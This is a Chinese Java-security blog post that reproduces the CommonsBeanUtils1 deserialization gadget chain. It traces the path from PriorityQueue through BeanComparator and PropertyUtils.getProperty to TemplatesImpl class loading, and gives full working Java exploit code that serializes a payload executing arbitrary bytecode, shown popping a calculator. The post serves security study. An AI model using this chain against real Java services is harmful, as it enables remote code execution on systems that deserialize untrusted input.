JAVA安全学习笔记--CommonsBeanUtils链复现篇(CB1链)

CommonsBeanUtils反序列化

CB1链

前言

因为在后续的shiro和fastjson反序列化的时候都会用到CB这条链子,所以有必要学习一下。

其实这条链子与CC2/CC4非常的相似。

环境

添加如下依赖

<dependency>  
 <groupId>commons-beanutils</groupId>  
 <artifactId>commons-beanutils</artifactId>  
 <version>1.9.2</version>  
</dependency>  
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->  
<dependency>  
 <groupId>commons-collections</groupId>  
 <artifactId>commons-collections</artifactId>  
 <version>3.1</version>  
</dependency>  
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->  
<dependency>  
 <groupId>commons-logging</groupId>  
 <artifactId>commons-logging</artifactId>  
 <version>1.2</version>  
</dependency>

CommonsBeanUtils介绍

Apache Commons 工具集下除了 collections 以外还有 BeanUtils ,它主要用于操控 JavaBean

先来介绍一下什么是JavaBean

JavaBean是一种 遵循特定编程规范的 Java 类,本质上就是一个“普通 Java 类”,只不过内部包含了settergetter方法,有点像我们所说的单例模式。

  • 以Utils结尾,说明这是一个工具类

commons-beanutils中提供了一个静态方法PropertyUtils.getProperty(),可以让使用者直接调用任意JavaBean的getter方法。

举个简单的例子:

Person person = new Person("Mike");
PropertyUtils.getProperty(person,"name");
# 等价于
Person person = new Person("Mike");
person.getName();

利用链分析

由以前的知识我们知道,TemplatesImpl动态类加载的链子是这样的:

TemplatesImpl#newTransformer --> TemplatesImpl#getTransletInstance --> TemplatesImpl#defineTransletClasses --> TemplatesImpl#defineClass

其实我们从newTransformer往前还可以继续跟进,看看谁直接调用了它。

image-20250915143330763

可以发现在当前类下,有一个getOutputProperties方法里直接调用了newTransformer

而这个方法以get开头,它其实就是一个getter方法。

而我们前面说到过PropertyUtils.getProperty()可以直接调用JavaBean的getter方法。

  • 我们看一眼PropertyUtils.getProperty方法的实现

image-20250915144054177

发现可以直接传入JavaBean类名,以及字段名。并且是一个public的静态方法可以直接调用。

  • 那么我们目前的链子就可以延伸为:
PropertyUtils#getProperty   -->  TemplatesImpl#getOutputProperties   -->  TemplatesImpl#newTransformer --> TemplatesImpl#getTransletInstance --> TemplatesImpl#defineTransletClasses --> TemplatesImpl#defineClass

我们可以写一个EXP测试一下目前的链子:

package com.test.CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.PropertyUtils;

public class test {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("E:\\Experiment\\TemplatesBytes.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Calc");
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        PropertyUtils.getProperty(templates,"outputProperties");

    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

运行看效果:

image-20250915145350601

成功弹出计算器,说明目前我们的链子是没有问题的。

  • 接下来我们可以从getProperty往前跟进,看哪些方法直接调用了它。

image-20250915161139135

可以发现在BeanComparator.compare()里调用了它。

  • 我们继续往前跟进,find usages

image-20250915161519953

然后我们便又能看到熟悉的类,以及熟悉的方法,老朋友了说是哈哈哈。我们在CC2/CC4中就用到过它。

然后继续往前跟进就都与CC2/CC4里面的一致了。如果忘记了可以看我之前的文章,这里我就不重复讲了。

完整的链子:

PriorityQueue#readObject    -->  PriorityQueue#heapify   -->  PriorityQueue#siftDown  -->  PriorityQueue#siftDownUsingComparator   -->  BeanComparator#compare  -->  PropertyUtils#getProperty   -->  TemplatesImpl#getOutputProperties   -->  TemplatesImpl#newTransformer --> ......

编写EXP

我们直接在我们之前的测试代码的基础上修改

package com.test.CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class test {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("E:\\Experiment\\TemplatesBytes.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Calc");
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        PropertyUtils.getProperty(templates,"outputProperties");

    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

尝试模仿CC2的前半条链子完善我们的EXP:

我的第一版EXP如下:

package com.test.CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

import java.util.PriorityQueue;

public class test {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("E:\\Experiment\\TemplatesBytes.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Calc");
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

//        PropertyUtils.getProperty(templates,"outputProperties");
        BeanComparator beanComparator = new BeanComparator();

        PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
        priorityQueue.add(templates);
        priorityQueue.add(templates);

        Class c = beanComparator.getClass();
        Field field = c.getDeclaredField("property");
        field.setAccessible(true);
        field.set(beanComparator,"outputProperties");

        serialize(priorityQueue);
        unserialize("ser.bin");

    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

运行看效果

image-20250915174718622

发现并没有弹出计算器,反而是报错显示不能将TemplatesImpl类型转换成Comparable类。

直接在add的地方下一个断点调试一下。

image-20250915174911403

  • 发现直接从add跟进到compare里面了,而由于我们的property为null所以进入到internalCompare了,继续跟进。

image-20250915175113857

  • 发现最终调用的compare方法中会将我们的对象类型转换为Comparable类型,而这两个类不能类型转换因此报错了。

我的解决方案如下:

add的时候传入无关紧要的东西,比如add(1),这样就不会报类型转换的错误。最后通过反射将queue里的元素改回templates

顺带提一嘴,有人可能会想能不能在add之前先给property随便传一个符合要求的,然后add之后再将其设置为outputProperties

其实是不可以的,因为这个property是要求在TemplatesImpl,在这个里面找不到第二个符合要求的。

修改后的EXP如下:

package com.test.CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

import java.util.PriorityQueue;

public class test {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("E:\\Experiment\\TemplatesBytes.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Calc");
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

//        PropertyUtils.getProperty(templates,"outputProperties");
        BeanComparator beanComparator = new BeanComparator();

        PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
        priorityQueue.add(1);
        priorityQueue.add(1);

        setFieldValue(beanComparator,"property","outputProperties");
        setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});

        serialize(priorityQueue);
        unserialize("ser.bin");

    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

运行看效果:

image-20250915181023201

发现成功弹出计算器,并且可见走的确实是预设的链子。

总结

CB1这条链子跟CC2/CC4还是很像的,最大的区别就是利用了PropertyUtils.getProperty可以调用任意JavaBeangetter方法的特点。

image-20250915181554271

点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注